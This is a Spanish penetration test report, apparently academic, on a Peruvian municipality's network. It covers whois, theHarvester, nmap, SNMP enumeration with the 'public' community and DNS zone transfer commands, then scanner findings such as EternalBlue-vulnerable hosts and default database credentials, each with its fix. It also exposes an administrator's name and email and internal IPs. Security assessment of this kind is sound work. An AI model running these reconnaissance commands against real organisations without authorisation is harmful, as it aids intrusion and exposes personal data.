usuarios autorizados tengan acceso a la información. 
Integridad: indica que toda modificación de la información solo sea realizada por 
usuarios autorizados. 
Disponibilidad: garantiza que los recursos del sistema y la información estén 
disponibles solo para usuarios autorizados en el momento que lo necesiten 












-Perdida de privacidad. 
-Accesos no 
autorizados a la 
información. 
-Robo de identidad. 
-Encriptación. 
-Autentificación. 
-Control de accesos. 
 
Integridad 
-La información ya no 
es confiable o precisa. 
-Fraude. 
-Registros de auditoría.  
 
Disponibilidad 
-Interrupción de los 
procesos de la 
organización. 
-Copias de seguridad. 
 
El Ethical Hacking consiste en realizar pruebas de intrusión controladas sobre 
sistemas informáticos; es decir, el especialista actúa desde el punto de vista de un 
“Black Hat Hacker”, para encontrar vulnerabilidades en los equipos. Se debe 
mencionar que todo este proceso se hace en un ambiente controlado y 
monitoreado, en el que no se ponga en riesgo la operatividad de los servicios 












Fases del Ethical Hacking según el Certified Ethical Hacker (EC-council) 
 
Para realizar el Ethical Hacking se utilizó la distribución de Kali Linux 2019.2 en la 
cual viene instalado la gran mayoría de herramientas que se utilizaron en cada una 


























FASE 1: HUELLA Y RECONOCIMIENTO 
La recopilación de información consiste en realizar un reconocimiento general de la 
organización para tratar de reunir la mayor información posible, que pueda ser 
utilizada en las demás fases. También, en esta fase se busca obtener todo tipo de 
información sobre la organización, dominios, subdominios, los tipos de sistemas 
que están funcionando, metadatos de documentos públicos que se encuentran en 
Internet y los servicios que se están ejecutando.  
Whois 
Whois colecciona información sobre un nombre de dominio o dirección web. Los 
resultados del siguiente comando muestran nombre del registrante, nombre del 
administrador del sitio web y su correo electrónico, finalmente muestra los nombres 
de los servidores DNS (Oriyano, 2017). 
Comando: whois munimoyobamba.gob.pe 
 
En el siguiente cuadro se puede observar un resumen de la consulta: 
Nombre del Dominio munimoyobamba.gob.pe 
Nombre del Registrante Municipalidad Provincial de 
Moyobamba 
Nombre del Administrador Gastelo Huaman Chinchay 
Email del Administrador gastelohuamanch@hotmail.com 









The Harvester es una herramienta que permite obtener emails, subdominios, hosts, 
etcétera, sobre un dominio en específico. Para utilizarlo basta con escribir el 
siguiente comando: 
Comando: theharvester -d munimoyobamba.gob.pe -l 300 -b all 
Donde: 
-d: indica el nombre del dominio. 
-l: cantidad de resultados que se quiere analizar. 
-b: para indicar la fuente de datos que se realizará, ya sea, Google, Bing, 
LinkedIn, etcétera, en este caso lo ponemos all para que lo haga en todos.  
 
 
Se encontraron un total de 14 correos electrónicos como se puede apreciar en la 




















FOCA es un software que busca metadatos en documentos públicos en páginas 
web y utiliza tres motores de búsqueda, Google, Bing y DuckDuckGo. Asimismo, 
soporta varios tipos de documentos incluyendo Open Office, Microsoft Office, 
Adobe InDesign, PDF, entre otros.  
Para crear un proyecto en FOCA se tiene que darle un nombre, el dominio que se 
quiere extraer los metadatos y la ubicación de la capeta donde se guardarán los 
documentos, como se muestra en la imagen: 
 
 
Después de realizar la descarga de 129 documentos y extraer sus metadatos, se 
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ZoomEye es un motor de búsqueda de origen Chino, que contiene información 
sobre los servicios o componentes de dispositivos conectados a Internet y sitios 
web. En esta ocasión se realizó una búsqueda sobre el hostname del sitio web de 
la municipalidad, para eso ingresamos a este link: https://www.zoomeye.org 
Comando: hostname:munimoyobamba.gob.pe   
 










CLASIFICACIÓN COMPONENTE VERSIÓN URL 
Aplicación 
Web 








PHP 5.3.3  
Base de 
Datos 
MySQL   
Sistema 
Operativo 
CentOS   
 
La versión de PHP que está ejecutando el servidor web es la 5.3.3, lo cual indica 
que se está ejecutando una versión desactualizada y sin soporte, por consiguiente, 











FASE 2: ESCANEO DE RED 
El escaneo de red es un método para obtener información sobre la red informática, 
el objetivo es identificar los hosts vivos, puertos abiertos y cerrados, información de 
los sistemas operativos y los servicios que se están ejecutando. 
ESCANEO ICMP 
El protocolo de control de mensajes de Internet (ICMP, por sus siglas en ingles), 
tiene la función de monitorear el correcto funcionamiento de la red. La comunicación 
mediante el protocolo ICMP consiste en enviar información de error que se 
descubrió durante la interacción entre dos dispositivos Los mensajes ICMP son 
enviados a la dirección IP de origen del paquete.  
Las consultas ICMP deben usarse con mucho cuidado ya que también crean un 
riesgo de seguridad. Uno de los ataques más conocidos en una red IP es el Man in 
the Middle, que consiste cuando un hacker malicioso puede recibir, procesar y 
posiblemente modificar o reenviar todos los paquetes intercambiados entre una 
fuente y un destino. Como el atacante recibe todos los paquetes, puede recopilar 
contraseñas o números de tarjetas de crédito, incluso inyectar información falsa en 
una conexión (Bonaventure, 2011). 
El escaneo ICMP es un método para identificar hosts vivos mediante el envió de un 
paquete “ICMP Echo request” a un host o rango de red. El paquete “ICMP Echo 











Angry IP Scanner 
Este software hace “ping” a cada dirección IP para verificar si está vivo, asimismo, 
muestra el nombre de dicho host. A continuación, se realiza la consulta del rango 
de red de la municipalidad, el cual es 172.16.0/254. 
 
 
Una vez finalizado el análisis de todo el rango de red se obtuvo solo 123 hosts 
que están vivos. 











Nmap (Network Mapper) utiliza paquetes IP sin procesar de formas novedosas para 
determinar qué hosts están disponibles en la red, qué servicios están disponibles, 
los sistemas operativos, puertos abiertos, entre otras funciones (Calderon, 2017). 
En esta ocasión se utilizó la versión grafica de Nmap, el cual es Zenmap. 
Se realizó ping al rango de red 172.16.0.1-254 
Comando: nmap -sn 172.16.0.1-254 
Dónde: 
-sn: Realiza un ping a la red, listando a las maquinas que responden. 
Se puede observar en este ejemplo que primero nos muestra el nombre del host, 









                            Resumen: 
 
N° de IP escaneadas N° hosts 








Ahora, vamos a realizar un escaneo para saber el sistema operativo del servidor 
principal: 
Comando: nmap -O 172.16.0.1 
Donde: 













Los puertos abiertos del servidor y los servicios que se están ejecutando: 
 
Detalles del servidor: 
 
Muestra que el sistema operativo que está ejecutándose en el servidor es Microsoft 






Este tipo de escaneo en el cual contiene múltiples FLAGS. Los paquetes son 
enviados al objetivo junto con URG, PSH y FIN; o un paquete que tiene todos los 
FLAGS crea una situación anormal para el receptor. El sistema receptor tiene que 
tomar una decisión cuando esta condición ocurre. Los puertos cerrados responden 
solo con paquete RST. Si el puerto está abierto, algunos sistemas responden como 
un puerto abierto, pero los sistemas modernos ignoran o eliminan estas solicitudes, 
porque la combinación de estos FLAGS es falsa. 
FLAG: Es un valor que actúa como una señal para un función o proceso. La 
cabecera TCP contiene varios campos booleanos de un solo bit, que sirven para 
influenciar el flujo de datos a través de la conexión TCP.  
Se realizó un escaneo Xmas a la dirección IP del servidor principal: 
Comando: nmap -sX -T4 172.16.0.1 
 
Se observa que la salida muestra a todos los 1000 puertos para el host spm1, el 
cual es el servidor principal, están cerrados, esto indica que el firewall esta 
desactivado, por lo tanto, es una vulnerabilidad muy grave, porque no tiene 













FASE 3: ENUMERACIÓN 
En esta fase se inicia conexiones activas con el sistema objetivo. Se recopila 
información sobre nombres de las maquinas, usuarios, grupos, uso compartido de 
red, etcétera.  
NETBIOS 
NetBIOS es un programa básico de sistema de entrada/salida de red que permite 
la comunicación entre diferentes aplicaciones que se ejecutan en diferentes 
sistemas dentro de una red de área local. 
NetBIOS Enumerator 
Utilizando la herramienta NetBIOS Enumerator se logró obtener la lista de 
computadoras que pertenecen a un dominio y la lista de recursos compartidos en 
los hosts individuales en la red. 
Para utilizar la herramienta, se sigue los siguientes pasos:  
1. Primero se pone el rango de IP a escanear, en este caso fue de la 172.16.0.1 
- 172.16.0.254. 












Ahora, muestra todos los hosts con su respectivo nombre y dirección IP. 
 
 
Se elige cualquier host para verificar toda la información. En esta ocasión se 
muestra la información de un host con el nombre de USUARIO-PC, como se puede 






Este comando en Kali Linux muestra la tabla NetBIOS sobre el host del servidor 
principal que tiene como nombre SPM1. 
Comando: nbtscan -v -r 17216.0.1 
Dónde: 
-v: Imprime todos los nombres recibidos de cada host. 
-r: Usa el puerto local para los escaneos. 
 
Nbtstat 
Es una herramienta útil para mostrar información sobre tablas de nombres de 
NetBIOS, caché de nombres y otra información adicional. 
Abrimos una ventana en PoweShell y realizamos la consulta: 
Comando: nbtstat -A 172.16.0.92 
Dónde: 
-A: Hace una lista de la tabla de nombres de los equipos remotos según sus 






El protocolo simple de administración de red (SNMP) sirve para el intercambio de 
información en la correcta administración de routers, servidores, switches, 
impresoras, entre otros dispositivos de red. 
Snmp-check permite enumerar información de cualquier dispositivo, hardware, 
software con soporte de protocolo SNMP. 
El servicio SNMP se ejecuta en el puerto UDP 161 de forma predeterminada. 
Entonces, comencemos a escanear el objetivo usando nmap para el puerto 161 y 
el host 172.16.0.6 que pertenece a la intranet de la municipalidad. 
 
Verificamos que el puerto 161 para dicho host se encuentra abierto y está 
ejecutando la versión de SNMPv1. Ahora realizamos la consulta SNMP. Por 
defecto, varias implementaciones SNMP utilizan las contraseñas “public” y 






Comando: snmp-check -c public 172.16.0.6 
Dónde: 






Nos muestra información del sistema, como el nombre del host, la dirección IP, 
contacto y el tiempo de actividad del protocolo SNMP, asimismo, muestra las 




Transferencia de Zona DNS 
 
Tener una oportunidad en las transferencias de zona es una forma de tratar de 
obtener una vista interna del servidor de la organización, nombres y objetivos 
potenciales. Técnicamente, una transferencia de zona permite que un servidor DNS 
secundario actualice su información del servidor primario. La función de 
transferencia de zona es lo que hace que el DNS sea redundante. Debería el 
servidor principal de la organización por alguna razón que no esté disponible, el 
secundario puede intervenir y realizar todas las tareas del servidor principal ya que 
previamente ha obtenido una copia de su información utilizando una transferencia 
de zona. 
Una transferencia de zona deshonesta funciona cuando un hacker malicioso finge 
ser un DNS secundario necesitado de información actualizada. El DNS en su 
conjunto no funcionaría sin permitir transferencias de zona, pero las transferencias 
nunca deben permitirse a hosts desconocidos (Svensson, 2016). 
Para extraer nombres de los servidores DNS se utiliza: 





Ahora se comprueba si el servidor DNS es vulnerable a una transferencia de zona 
desde un servidor DNS no autorizado, el cual consiste en hacer una consulta a la 
base de datos del servidor DNS de la organización para obtener direcciones IP 
internas, servidores, hosts, etcétera. El ataque tendrá éxito si el servidor DNS fue 
configurado de una forma incorrecta y acepta las peticiones de otro servidor DNS 
desconocido. 
Mediante el parámetro AXFR comprobamos si el servidor es vulnerable a una 
transferencia de zona DNS, como el dominio munimoyobamba.gob.pe tiene dos 
servidores DNS, haremos la consulta a los dos: 
Comandos: dig AXFR munimoyobamba.gob.pe @NS2.RCP.NET.pe 
                   dig AXFR munimoyobamba.gob.pe @NS.RCP.NET.pe 
 
 
Podemos verificar que, efectivamente, la transferencia de zona en los dos 















FASE 4: ANÁLISIS DE VULNERABILIDADES 
El análisis de vulnerabilidades consiste en el descubrimiento e identificación de 
debilidades en los sistemas y aplicaciones informáticas, para medir el nivel de 
seguridad implementada que tienen y así poder resistir hackeos o fallas. Asimismo, 
el análisis de vulnerabilidades intenta brindar alternativas de solución para poder 
mitigar dichas debilidades. 
Nessus 
Nessus es un escáner de vulnerabilidades de red que detecta agujeros de 
seguridad en computadoras y servidores, falta de actualizaciones en los sistemas 
operativos y aplicaciones. En esta ocasión se utilizó la versión gratuita de Nessus 
y solo puede escanear hasta 16 direcciones IP. Para descargarlo se puede ir al 
siguiente link: https://www.tenable.com/downloads/nessus 
Se realizó el escaneo de red sobre 7 direcciones IP para detectar todas las posibles 
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     CRÍTICO                         ALTO                         MEDIO                        BAJO 
Información del host: 
Nombre del host: SPM1 
IP: 172.16.0.1 
Sistema Operativo: Microsoft Windows Server 2012 Datacenter. 
VULNERABILIDAD: 





El servidor DNS remoto responde a las consultas de dominios de terceros que no 
tienen establecido el bit de recursividad. 
Esto puede permitir que un atacante remoto determine qué dominios se han 
resuelto recientemente a través de este servidor de nombres y, por lo tanto, qué 
hosts se han visitado recientemente. 
Por ejemplo, si un atacante estaba interesado en saber si su organización utiliza 
los servicios en línea de una institución financiera en particular, podría utilizar este 
ataque para crear un modelo estadístico sobre el uso de la compañía de esa 
institución financiera. Por supuesto, el ataque también se puede utilizar para 
encontrar patrones de navegación web, servidores de correo externos y mucha 
información que puede ser de gran importancia. 
 
Nota: Si este es un servidor DNS interno al que no pueden acceder redes externas, 




y potencialmente usuarios en una red de invitados o conexión Wi-Fi si es 
compatible. 
Solución: 
Se debería deshabilitar la recursividad en el servidor DNS, pero esto debe tomarse 
en función por la cual está configurado el servidor DNS. Si el servidor está destinado 
a repetir nombres de los clientes, la recursividad no puede deshabilitar. Por otro 
lado, si el servidor está destinado a devolver datos solo fuera de las zonas locales 
y nunca debe repetirse o reenviarse en nombre de los clientes, entonces la 
recursividad puede deshabilitarse (Microsoft, 2017). 
VULNERABILIDAD: 





Esto puede ocurrir por tres razones: 
 El sitio web está utilizando un certificado autofirmado. Los certificados 
autofirmados se pueden generar de forma gratuita, pero no proporcionan tanta 
confianza como un certificado comercial.  
 El sitio web está utilizando un certificado SSL gratuito. Un par de autoridades 
de certificación gratuitas emiten certificados SSL gratuitos, pero su certificado 
raíz debe importarse manualmente a cada navegador para eliminar este error. 
 El sitio web está utilizando un certificado SSL confiable, pero le falta un 
certificado de cadena / intermedio. La mayoría de los certificados confiables 
requieren que instale al menos otro certificado intermedio / en cadena en el 
servidor para vincular su certificado a una fuente confiable. 
Solución:  





0 0 2 0 
           CRÍTICO                     ALTO                      MEDIO                        BAJO 
Información del host: 
Nombre del host: SPM3 
IP: 172.16.0.2 
Sistema Operativo: Microsoft Windows Server 2012 Datacenter. 
VULNERABILIDAD: 





El servidor DNS remoto responde a las consultas de dominios de terceros que no 
tienen establecido el bit de recursividad. 
Esto puede permitir que un atacante remoto determine qué dominios se han 
resuelto recientemente a través de este servidor de nombres y, por lo tanto, qué 
hosts se han visitado recientemente. 
Por ejemplo, si un atacante estaba interesado en saber si su organización utiliza 
los servicios en línea de una institución financiera en particular, podría utilizar este 
ataque para crear un modelo estadístico sobre el uso de la compañía de esa 
institución financiera. Por supuesto, el ataque también se puede utilizar para 
encontrar patrones de navegación web, servidores de correo externos y más. 
 
Nota: Si este es un servidor DNS interno al que no pueden acceder redes 
externas, los ataques se limitarían a la red interna. Esto puede incluir empleados, 







Se debería deshabilitar la recursividad en el servidor DNS, pero esto debe tomarse 
en función por la cual está configurado el servidor DNS. Si el servidor está destinado 
a repetir nombres de los clientes, la recursividad no puede deshabilitar. Por otro 
lado, si el servidor está destinado a devolver datos solo fuera de las zonas locales 
y nunca debe repetirse o reenviarse en nombre de los clientes, entonces la 
recursividad puede deshabilitarse (Microsoft, 2017). 
VULNERABILIDAD: 





Esto puede ocurrir por tres razones: 
 El sitio web está utilizando un certificado autofirmado. Los certificados 
autofirmados se pueden generar de forma gratuita, pero no proporcionan 
tanta confianza como un certificado comercial. Puede decirle a su navegador 
que confíe en el certificado autofirmado o puede comprar (o pedirle al 
propietario del sitio que compre) un certificado SSL confiable de 
una autoridad certificadora . 
 El sitio web está utilizando un certificado SSL gratuito. Un par de autoridades 
de certificación gratuitas emiten certificados SSL gratuitos, pero su 
certificado raíz debe importarse manualmente a cada navegador para 
eliminar este error. 
 El sitio web está utilizando un certificado SSL confiable, pero le falta un 
certificado de cadena / intermedio. La mayoría de los certificados confiables 
requieren que instale al menos otro certificado intermedio / en cadena en el 





Comprar o generar un certificado SSL adecuado para este servicio. 
 
172.16.0.4 
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           CRÍTICO                     ALTO                       MEDIO                         BAJO 
Información del host: 
IP: 172.16.0.4 
Sistema Operativo: FreeBSD 11.2-Release 
VULNERABILIDAD: 





El servidor NTP remoto responde a las consultas del modo 6. Los dispositivos que 
responden a estas consultas tienen el potencial de ser utilizados en ataques de 
amplificación NTP. Un atacante remoto no autenticado podría explotar esto, a 
través de una consulta de modo 6 especialmente diseñada, para causar una 
condición reflejada de denegación de servicio (DoS).  
Solución: 
Realice una de las siguientes acciones: 
1) Actualice su sistema vulnerable a un estable FreeBSD compatible o 
lanzamiento / rama de seguridad (releng) con fecha posterior a la fecha de 
corrección. 
El servicio ntpd debe reiniciarse después de la actualización. Un reinicio es 




2) Para actualizar su sistema vulnerable a través de un parche binario: 
Sistemas que ejecutan una versión de LIBERACIÓN de FreeBSD en el i386 o 
amd64 
Las plataformas se pueden actualizar a través de la utilidad freebsd-update (8): 
# freebsd-update fetch 
# freebsd-update install 
3) Para actualizar su sistema vulnerable a través de un parche de código fuente: 
Se han verificado los siguientes parches para aplicarlos a los Lanzamientos de 
FreeBSD. 
a) Descargue el parche relevante de la ubicación a continuación y verifique el 
firma PGP separada usando su utilidad PGP. 
[FreeBSD 11.0] 
# fetch https://security.FreeBSD.org/patches/SA-16:39/ntp-11.0.patch 
# fetch https://security.FreeBSD.org/patches/SA-16:39/ntp-11.0.patch.asc 
# gpg --verify ntp-11.0.patch.asc 
[FreeBSD 10.x] 
# fetch https://security.FreeBSD.org/patches/SA-16:39/ntp-10.x.patch 
# fetch https://security.FreeBSD.org/patches/SA-16:39/ntp-10.x.patch.asc 
# gpg --verify ntp-10.x.patch.asc 
[FreeBSD 9.3] 
# fetch https://security.FreeBSD.org/patches/SA-16:39/ntp-9.3.patch 
# fetch https://security.FreeBSD.org/patches/SA-16:39/ntp-9.3.patch.asc 
# gpg --verify ntp-9.3.patch.asc 




# cd / usr / src 
# patch </ ruta / a / patch 
c) Recompile el sistema operativo usando buildworld e installworld como 
descrito en https://www.FreeBSD.org/handbook/makeworld.html 
Reinicie los daemons aplicables o reinicie el sistema. 
172.16.0.5 
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           CRÍTICO                    ALTO                        MEDIO                        BAJO 
Información del host: 
Nombre DNS: srv.munimoyobamba.gob.pe 
IP: 172.16.0.5 
Sistema Operativo: CentOS 6 
VULNERABILIDAD: 





La versión de PHP en el host esta desactualizado. La falta de soporte implica que 
el proveedor no lanzará nuevos parches de seguridad para esa versión de PHP. 
Por lo tanto, existe la posibilidad de que contenga vulnerabilidades de seguridad. 
Solución: 
Escribir los siguientes comandos para actualizar a la versión 7.2 






# wget http://rpms.remirepo.net/enterprise/remi-release-6.rpm 
# rpm -Uvh remi-release-6.rpm epel-release-latest-6.noarch.rpm 
2. Instalar los Plugins 
# yum install yum-utils 
# yum-config-manager --enable remi-php72 
 
3. Actualizar los paquetes de PHP. Cuando finalice el proceso, se tendrá que 
reiniciar Apache. 
# yum update -y 
4. Comprobar la versión de PHP 
# php -v 
VULNERABILIDAD: 





El servidor web remoto es compatible con los métodos TRACE y/o 
TRACK. TRACE y TRACK son métodos HTTP que se utilizan para la depuración 
errores. En este caso se debe desactivar, ya que mediante él se puede ejecutar un 
ataque web del tipo XSS: Cross-site scripting, un tipo de vulnerabilidad que puede 
robar las cookies y otro tipo de información sensible del servidor web. 
Solución: 
Desactivar los métodos TRACE y/o TRACK. 





2. Una vez dentro de la carpeta, se realiza un backup del archivo 
httpsd.config 
cp httpd.conf httpd.conf.copy 




4. Dentro del archivo httpd.conf, se presiona la tecla i para poder editarlo, se 
debe ingresar la siguiente línea TraceEnable off 
 
5. Presionar la tecla Esc para salir del modo inserción y se escribe: wq para 
guardar los cambios y salir del archivo 
6. Se debe reiniciar el servicio de apache  
# /etc/init.d/http restart 
 
VULNERABILIDAD: 





El host se ve afectado por una vulnerabilidad de divulgación de información de tipo 
man-in-the-middle, debido a un error en la implementación del algoritmo de cifrado 





Quitar la compatibilidad con el algoritmo de cifrado RC4. Para dar solución al 
problema, editar el archivo /etc/sshd_config agregando estas dos líneas de código: 
 Ciphers aes128-ctr,aes192-ctr,aes256-ctr, — agregar esta línea para 
eliminar los algoritmos cbc vulnerables. 
 MACs hmac-sha1,umac-64@openssh.com,hmac-ripemd160 –agregar 
esta línea para eliminar los algoritmos MAC vulnerables. 
 
172.16.0.6 
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           CRÍTICO                    ALTO                        MEDIO                        BAJO 
Información del servidor web: 
Nombre DNS: intranet.munimoyobamba.gob.pe 
IP: 172.16.0.6 
Sistema Operativo: CentOS 6 
VULNERABILIDAD: 





La versión de PHP en el host esta desactualizado. La falta de soporte implica que 
el proveedor no lanzará nuevos parches de seguridad para esa versión de PHP. 
Por lo tanto, existe la posibilidad de que contenga vulnerabilidades de seguridad. 
Solución: 




1. Instalar los repositorios 
# wget https://dl.fedoraproject.org/pub/epel/epel-release-latest-
6.noarch.rpm 
# wget http://rpms.remirepo.net/enterprise/remi-release-6.rpm 
# rpm -Uvh remi-release-6.rpm epel-release-latest-6.noarch.rpm 
2. Instalar los Plugins 
# yum install yum-utils 
# yum-config-manager --enable remi-php72 
 
3. Actualizar los paquetes de PHP. Cuando finalice el proceso, se tendrá que 
reiniciar Apache. 
# yum update -y 
4. Comprobar la versión de PHP 
# php -v 
VULNERABILIDAD: 





El protocolo SNMP tiene como función, mejorar el intercambio de información de 
administración entre dispositivos de red, este servicio no debe estar expuesto si no 
se hace uso de SNMP. 
En la vulnerabilidad identificada es posible obtener el nombre de comunidad 




Un atacante puede usar esta información para obtener más conocimiento sobre el 
host remoto o para cambiar la configuración del sistema remoto (si la comunidad 
predeterminada permite tales modificaciones). 
Solución: 
Esta vulnerabilidad se soluciona cambiando el servicio SNMP de la versión 1 a la 
versión 3, en el caso en que no se pueda hacer este cambio, este debe ser 
deshabilitado. 
Para deshabilitar el SNMP se debe ejecutar el siguiente comando. 
/etc/init.d/snmpd stop — Para el servicio SNMP. 
chkconfig snmpd off – No permite en el inicio del servidor cargar el servicio SNMP. 
En caso de necesitar SNMP, debe instalar la versión 3, para realizar este proceso 
debe configurarse de la siguiente forma: 
1) Instalar el paquete: 
apt-get install snmpd 
2) Bajar el servicio: se pude usar alguno de los dos comandos 
/etc/init.d/snmpd stop 
service snmpd stop 
3) Crear usuario SNMP v3 
net-snmp-create-v3-user -a MD5 -A user123 [nombreUsuario] 
4) Volver a correr el servicio: Se puede usar alguno de los dos comandos 
/etc/init.d/snmpd start 
service snmpd start 
















El servidor web remoto es compatible con los métodos TRACE y/o 
TRACK. TRACE y TRACK son métodos HTTP que se utilizan para la depuración 
errores. En este caso se debe desactivar, ya que mediante él se puede ejecutar un 
ataque web del tipo XSS: Cross-site scripting, un tipo de vulnerabilidad que puede 
robar las cookies y otro tipo de información sensible del servidor web. 
Solución: 
Desactivar los métodos TRACE y/o TRACK. 
1. Ingresar a la ruta 
cd /etc/httpsd/conf 
2. Una vez dentro de la carpeta, se realiza un backup del archivo 
httpsd.config 
cp httpd.conf httpd.conf.copy 
3. Editar el archivo con el comando vi 
vi httpd.conf 
4. Dentro del archivo httpd.conf, se presiona la tecla i para poder editarlo, se 
debe ingresar la siguiente línea TraceEnable off 
 
5. Presionar la tecla Esc para salir del modo inserción y se escribe:wq para 




6. Se debe reiniciar el servicio de apache  
 /etc/init.d/http restart 
VULNERABILIDAD: 





El servicio SNMP remoto está respondiendo con una gran cantidad de datos a una 
petición ‘GETBULK’ con un valor mayor que el normal para ‘max-repetitions’. Un 
atacante remoto puede utilizar este servidor SNMP para realizar un ataque de 
denegación de servicio distribuido reflejado hacia un host remoto arbitrario. 
Solución: 
Desactivar el servicio SNMP en el host remoto si no es utilizado. De lo contrario, 
restringir y supervisar el acceso a este servicio y considerar cambiar la comunidad 
‘public’ predeterminada por otra. 
VULNERABILIDAD: 





El host se ve afectado por una vulnerabilidad de divulgación de información de tipo 
man-in-the-middle, debido a un error en la implementación del algoritmo de cifrado 
RC4, ya que este sistema de cifrado es muy inseguro. 
Solución: 
Quitar la compatibilidad con el algoritmo de cifrado RC4. Para dar solución al 




 Ciphers aes128-ctr,aes192-ctr,aes256-ctr, — agregar esta línea para 
eliminar los algoritmos cbc vulnerables 
 MACs hmac-sha1,umac-64@openssh.com,hmac-ripemd160 –agregar esta 
línea para eliminar los algoritmos MAC vulnerables 
 
VULNERABILIDAD: 





Esto puede ocurrir por tres razones: 
 El sitio web está utilizando un certificado autofirmado. Los cuales se pueden 
generar de forma gratuita, pero no proporcionan tanta confianza como un 
certificado comercial. Puede decirle a su navegador que confíe en el 
certificado autofirmado o puede comprar (o pedirle al propietario del sitio que 
compre) un certificado SSL confiable de una autoridad certificadora . 
 El sitio web está utilizando un certificado SSL gratuito. Un par de autoridades 
de certificación gratuitas emiten certificados SSL gratuitos, pero su 
certificado raíz debe importarse manualmente a cada navegador para 
eliminar este error. 
 El sitio web está utilizando un certificado SSL confiable, pero le falta un 
certificado de cadena / intermedio. La mayoría de los certificados confiables 
requieren que instale al menos otro certificado intermedio / en cadena en el 
servidor para vincular su certificado a una fuente confiable. 
Solución:  






0 0 1 0 
           CRÍTICO                    ALTO                         MEDIO                        BAJO 
Información del host: 
Nombre Netbios: LICENCIAS001 
IP: 172.16.0.11 
Sistema Operativo: Microsoft Windows 7 Professional 
VULNERABILIDAD: 





La firma es necesaria en el servidor SMB, porque un atacante no autentificado 
podrá aprovecharse de esta configuración para realizar ataques man-in-the-middle 
contra el servidor SMB. 
Solución: 
Modificar el registro para cambiar la configuración. 





 Modificar la llave de registro ubicada 
en HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanMa
nServer\Parameters\requiresecuritysignature  la cual por defecto estará 
en 0 (inactivo) se deberá dejar en 1 (activo). 
 
 Dar doble clic y modificar el valor dejando activo el registro con el número 1. 
 







1 0 2 0 
           CRÍTICO                    ALTO                        MEDIO                        BAJO 
Información del host: 
Nombre Netbios: RODRIGO-VAIO 
IP: 172.16.0.12 
Sistema Operativo: Microsoft Windows 7 Home 
VULNERABILIDAD: 
Security Update for Microsoft Windows SMB Server (4013389) 
(ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) 






 Existen múltiples vulnerabilidades de ejecución remota de código en 
Microsoft Server Message Block 1.0 (SMBv1) debido al manejo inadecuado 
de ciertas solicitudes. Un atacante remoto no autenticado puede explotar 
estas vulnerabilidades, a través de un paquete especialmente diseñado, 
para ejecutar código arbitrario.  
 Existe una vulnerabilidad de divulgación de información en Microsoft Server 
Message Block 1.0 (SMBv1) debido al manejo inadecuado de ciertas 
solicitudes. Un atacante remoto no autenticado puede explotar esto, a través 





ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, y 
ETERNALSYNERGY son exploits (códigos maliciosos) que se aprovechan de la 
vulnerabilidad en SMB v1. 
WannaCry y Petya son ransomware que encriptan toda la información de una 
computadora y piden una cantidad de dinero para poderla liberar. 
Solución: 
Ejecutar Windows Update para obtener el parche de seguridad correspondiente a 
la vulnerabilidad de SMB v1. 










Existe una vulnerabilidad de elevación de privilegios en los protocolos remotos de 
Administrador de cuentas de seguridad (SAM) y Autoridad de seguridad local 
(Política del dominio) (LSAD) cuando aceptan niveles de autenticación que no 
protegen adecuadamente estos protocolos. La vulnerabilidad se debe a la forma en 
que los protocolos remotos SAM y LSAD establecen el canal de llamada a 
procedimiento remoto (RPC). Un atacante que aprovechara esta vulnerabilidad 
podría obtener acceso a la base de datos SAM, en la cual se almacena las 
contraseñas de los usuarios en un formato hash. 
Solución: 
Actualizar el sistema mediante la herramienta de Windows Update para que se 














La firma es necesaria en el servidor SMB, porque un atacante no autentificado 
podrá aprovecharse de esta configuración para realizar ataques man-in-the-middle 
contra el servidor SMB. 
Solución: 
Modificar el registro para cambiar la configuración. 









 Modificar la llave de registro ubicada 
en HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanMan
Server\Parameters\requiresecuritysignature  la cual por defecto estará 
en 0 (inactivo) se deberá dejar en 1 (activo). 
 
 Dar doble clic y modificar el valor dejando activo el registro con el número 1. 
 






Es un sistema integral de evaluación de vulnerabilidades que puede detectar 
problemas de seguridad en la red informática, servidores y aplicaciones web. El 
escáner es de software libre y código abierto. 
El escaneo se ejecutó en 8 direcciones IP. En la imagen se muestra los hosts que 
se analizaron, el estado en que se encuentran, en este caso, están finalizados y la 
fecha del análisis de las respectivas vulnerabilidades analizadas y evaluadas.  
En este caso solo se describe las vulnerabilidades en 5 hosts, ya que los 3 
restantes, tienen las mismas vulnerabilidades de los anteriores y para evitar la 
redundancia se los omitió poner su descripción.  
 
En la topología se observa los hosts que están en color rojo, significa que se 
encontraron vulnerabilidades con un riesgo alto, mientras que el de color naranja 





Para mayor información acerca de las vulnerabilidades, se muestra los resultados 
correspondientes: 
172.16.0.1 
1 0 0 0 
           CRÍTICO                    ALTO                        MEDIO                        BAJO 
Información del host: 
Nombre del host: spm1 
IP: 172.16.0.1 
Sistema Operativo: Microsoft Windows Server 2012 Datacenter. 
VULNERABILIDAD: 





Es posible conectar al servicio remoto de base de datos usando credenciales por 
defecto.  
Solución: 
Cambiar la contraseña por defecto usando la gsec management tool. 
Opción 1: restablecer una contraseña 
Funciona en Firebird 2.5 y superior 
Conéctese a una base de datos con SYSDBA (u otro usuario con función de 
administrador en la base de datos de seguridad) y use: 
ALTER USER <username> SET PASSWORD '<new password>' 




Opción 1.1. restablecer con conexión integrada (sin contraseña) 
Funciona en Linux para Firebird 2.5 o superior, en Windows requiere Firebird 3.0 
o superior. 
Detenga el servidor Firebird y use ISQL para conectarse a la base de datos en 
modo incrustado (que no requiere contraseña): 
isql -user sysdba <database> 
Con una instalación predeterminada de Firebird 3, puede 
usar employeefor <database>, que usará la base de datos de ejemplo de 
empleado. 
Modifique la contraseña como se describe anteriormente. Alternativamente, 
intente reemplazar sysdbacon el nombre de usuario real en la línea de comandos 
isql. 
Inicie el servidor Firebird nuevamente. 
Opción 2: use gsec para cambiar la contraseña 
Funciona en Linux para todas las versiones, en Windows esto solo funciona para 
Firebird 3.0 y superior. 
Tenga en cuenta que gsec está en desuso desde Firebird 3 y puede eliminarse de 
futuras versiones de Firebird. 
Detenga el servidor Firebird, abra la línea de comandos y, en la carpeta de 
instalación de Firebird, haga lo siguiente: 
gsec -user sysdba 
y en el indicador gsec 
modify <username> -pw <new password> 
o si el usuario aún no existe: 
add <username> -pw <new password> 




Opción 3: reemplazar la base de datos de seguridad 
La mayoría de estos pasos también se aplican si está utilizando una nueva 
instalación de Firebird; simplemente omita el reemplazo de la base de datos de 
seguridad. 
Detenga el servidor Firebird y haga una copia de su security3.fdb actual como 
respaldo. 
